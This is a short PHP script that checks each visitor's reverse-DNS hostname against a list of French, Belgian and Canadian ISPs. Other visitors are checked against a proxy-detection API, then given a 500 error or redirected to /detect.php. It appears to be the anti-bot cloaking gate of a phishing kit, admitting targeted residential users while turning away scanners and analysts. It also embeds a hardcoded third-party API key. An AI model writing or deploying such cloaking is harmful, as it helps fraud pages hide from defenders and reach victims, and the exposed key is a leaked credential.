<?php

function getBooleanFAI($ip) {
 $host = @gethostbyaddr($ip);
 $fai = false;
 if(substr_count($host, 'proxad')) $fai = true;
 if(substr_count($host, 'orange')) $fai = true;
 if(substr_count($host, 'wanadoo')) $fai = true;
 if(substr_count($host, 'sfr')) $fai = true;
 if(substr_count($host, 'club-internet')) $fai = true;
 if(substr_count($host, 'neuf')) $fai = true;
 if(substr_count($host, 'gaoland')) $fai = true;
 if(substr_count($host, 'bbox')) $fai = true;
 if(substr_count($host, 'bouyg')) $fai = true;
 if(substr_count($host, 'numericable')) $fai = true;
 if(substr_count($host, 'tele2')) $fai = true;
 if(substr_count($host, 'videotron')) $fai = true;
 if(substr_count($host, 'belgacom')) $fai = true;
 if(substr_count($host, 'bell.ca')) $fai = true;
 return $fai;
}


// ignore the French Internet Providers
if ( getBooleanFAI($_SERVER["REMOTE_ADDR"]) == false ) {

	$ip   = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
$ch = curl_init();

curl_setopt_array($ch, [
	CURLOPT_URL => "https://blackbox.p.rapidapi.com/v1/$ip",
	CURLOPT_RETURNTRANSFER => true,
	CURLOPT_FOLLOWLOCATION => true,
	CURLOPT_ENCODING => "",
	CURLOPT_MAXREDIRS => 10,
	CURLOPT_TIMEOUT => 30,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
	CURLOPT_CUSTOMREQUEST => "GET",
	CURLOPT_HTTPHEADER => [
		"X-RapidAPI-Host: blackbox.p.rapidapi.com",
		"X-RapidAPI-Key: bc8927bd8dmsh7d89d5b4473ba63p186d7djsne2180698647a"
	],
]);
	 $result = curl_exec($ch);
	 curl_close($ch);

// echo $result;

	if($result == 'N'){
	 header("Location: /detect.php");
	}
	else if($result == 'Y'){
	 header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
	}
	else {
	 header("Location: /detect.php");
	}

}
?>